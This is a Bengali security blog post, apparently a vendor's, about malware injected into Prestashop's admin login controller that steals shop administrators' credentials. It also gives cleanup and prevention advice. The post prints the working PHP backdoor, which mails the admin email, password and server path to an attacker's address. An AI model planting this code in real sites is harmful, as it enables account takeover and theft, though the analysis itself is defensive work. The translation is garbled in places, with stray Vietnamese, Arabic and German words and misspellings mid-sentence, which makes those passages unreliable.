একটি বর্ধমান ই-কমার্স প্ল্যাটফর্ম হিসেবে, Prestashop হ্যাকারদের তথ্য চুরির জন্য একটি বড় লক্ষ্য। সাধারণত, টার্গেট করা তথ্য হলো ক্রেডিট কার্ড নম্বর, কিন্তু gầnে, আমাদের গবেষকরা একটি নতুন ধরনের ক্রেডেনশিয়াল-চুরি ম্যালওয়্যার আবিষ্কার করেছেন যা Prestashop সাইটগুলো টার্গেট করে এবং সাইট অ্যাডমিনের ক্রেডেনশিয়াল চুরি করে। এটি আপনার ওয়েবসাইটের সম্পূর্ণ দখল দিয়ে দিতে পারে।
Prestashop ক্রেডেনশিয়াল-চুরি ম্যালওয়্যার কীভাবে কাজ করে
Prestashop ক্রেডেনশিয়াল-চুরি ম্যালওয়্যারটি ./controllers/admin/AdminLoginController.php ফাইলে ইনজেক্ট করা পাওয়া গেছে Prestashop সাইটগুলোতে এইভাবে:
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);
এই কোডটি সার্ভার ইনফরমেশন ভেরিয়েবলগুলোর কাছে পাস করতে ব্যবহৃত হয়। পাস করা কিছু ভেরিয়েবল شامل Prestashop ব্যাক-এন্ডে লগইন করার জন্য ব্যবহৃত ইউজারনেম এবং পাসওয়ার্ড। এই সংগৃহীত তথ্যটি মাঝেমধ্যে PHP mail() function ব্যবহার করে হ্যাকারের ইমেইল ঠিকানায় পাঠানো হয়।
পাঠানো ইমেইলে সেটা সব কিছু থাকে যা আক্রমণকারীর হ্যাক করা Prestashop সাইটে লগইন করার জন্য দরকার। সেখান থেকে, তারা সাইটে অ্যাক্সেস পেতে পারে। এতে তাদের আপনার ওয়েবসাইটের ব্যাক-এন্ড ইন্টারফেসের সম্পূর্ণ অ্যাক্সেস মায়। এর মানে তারা কন্টেন্ট পরিবর্তন করতে পারে, নকল/ইনফেক্টেড মডিউল বা প্লাগইন ইনস্টল করতে পারে, এবং আরও অনেক কিছু করতে পারে।
কিছু কেসে, এই হ্যাকের শিকাররা বাউন্স ব্যাক ইমেইল পেতে শুরু করল – যা সম্ভবত Google আক্রমণটি সনাক্ত করে এবং জড়িত অ্যাকাউন্টগুলো ডিজেবল/রিপোর্ট করেছে বলে।
এই ম্যালওয়্যার ইনফেকশন ক্যাম্পেইন চালানো আক্রমণকারী/হ্যাকিং গ্রুপকে bajatx / B4JAT4T নামে মনে করা হচ্ছে।
Prestashop ক্রেডেনশিয়াল-চুরি ম্যালওয়্যার ইনফেকশনের পর আপনার সাইট কীভাবে ফিক্স করবেন
১. ক্লিন করার আগে আপনার সাইটের ব্যাকআপ নিন।
ওয়েবসাইটকে অফলাইন করা উচিত যাতে ইউজাররা ক্লিন করার সময় ইনফেক্টেড পেজ ভিজিট না করে। সকল কোর ফাইল এবং ডাটাবেসের ব্যাকআপ নিতে ভুলবেন না। কম্প্রেসড ফাইল ফরম্যাটে ব্যাকআপ নেওয়া ভালো আইডিয়া, যেমন .zip।
২. কোর, প্লাগইন এবং থিম ফাইলগুলো রিপ্লেস করুন।
আপনি ইনফেক্টেড কোর ফাইলগুলো বিশ্বস্ত উৎস থেকে অরিজিনাল ভার্সনের সাথে রিপ্লেস করতে পারেন। এই ফাইল ও ডিরেক্টরির ফ্রেশ এবং আপডেটেড ভার্সন ডাউনলোড করার পর, পুরনো ফাইলগুলো ডিলিট করুন। Prestashop ক্রেডেনশিয়াল-চুরি ম্যালওয়্যার ক্লিন আপ করার জন্য এটি অত্যন্ত গুরুত্বপূর্ণ, কারণ কোর ফাইলগুলোর ভিতরে ক্ষতিকর কোড পাওয়া গেছে।
৩. যেকোনো সন্দেহজনক, সম্প্রতি মডিফাইড ফাইল ক্লিন করুন।
আপনি সম্প্রতি মডিফাইড ফাইলগুলো দেখে সম্ভাব্য ইনফেক্টেড ফাইল খুঁজে পেতে পারেন। আপনার ক্লিন ব্যাকআপ বা বিশ্বস্ত উৎস থেকে এই ফাইলগুলো রিস্টোর করুন।
৪. ম্যালওয়্যার স্ক্যান চালান।
আপনার ওয়েব সার্ভারে ম্যালওয়্যার এবং ক্ষতিকর ফাইলের জন্য ম্যালওয়্যার স্ক্যান চালান। আপনি আপনার ওয়েব হোস্টের cPanel-এ প্রদত্ত 'Virus Scanner' টুল ব্যবহার করতে পারেন, অথবা Astra Pro Plan-এর সাথে এক্সপার্ট ম্যালওয়্যার ক্লিনআপ পেতে পারেন, যা আক্রমণ ব্লক করে এবং চুরি করা ডেটা ডাউনলোড করার চেষ্টা করে বটগুলোকেও ব্লক করে।
এই ধাপগুলোর পাশাপাশি, আপনি Prestashop সিকিউরিটি সম্পর্কে এই আর্টিকেলটি উপকারী পেতে পারেন।
আরো আক্রমণ প্রতিরোধ করার উপায়
সাইট ফিক্স করার পর, এখানে কিছু ভালো সিকিউরিটি প্র্যাকটিস দেওয়া হলো যা নিশ্চিত করবে যে আপনার ওয়েবসাইট Prestashop ক্রেডেনশিয়াল-চুরি ম্যালওয়্যার থেকে সুরক্ষিত থাকে:
- নিশ্চিত করুন আপনি আপনার সফটওয়্যারের সর্বশেষ আপডেট রান করছেন
- বিশ্বস্ত থার্ড-পার্টি পেমেন্ট প্রসেসর ব্যবহার করুন
- নিয়মিত ম্যালওয়্যার স্ক্যান/সিকিউরিটি অডিট করুন
- ফায়ারওয়ার-এ ইনভেস্ট করুন
হ্যাকারদের সার্বিক পরিবর্তনশীল পদ্ধতিগুলো থেকে আপনার ওয়েবসাইট রক্ষা করার একমাত্র নিশ্চিত উপায় হলো সিকিউরিটিতে ইনভেস্ট করা। ওয়েবসাইট ফায়ারওয়ার-এ ইনভেস্ট করা, ঘন ঘন ম্যালওয়্যার স্ক্যান চালানো, এবং নিয়মিত সিকিউরিটি অডিট করানো একটি দুর্দান্ত Idee – এটা আপনার ওয়েবসাইটের সামগ্রিক সিকিউরিটির একটি চমৎকার ধারণা দেবে।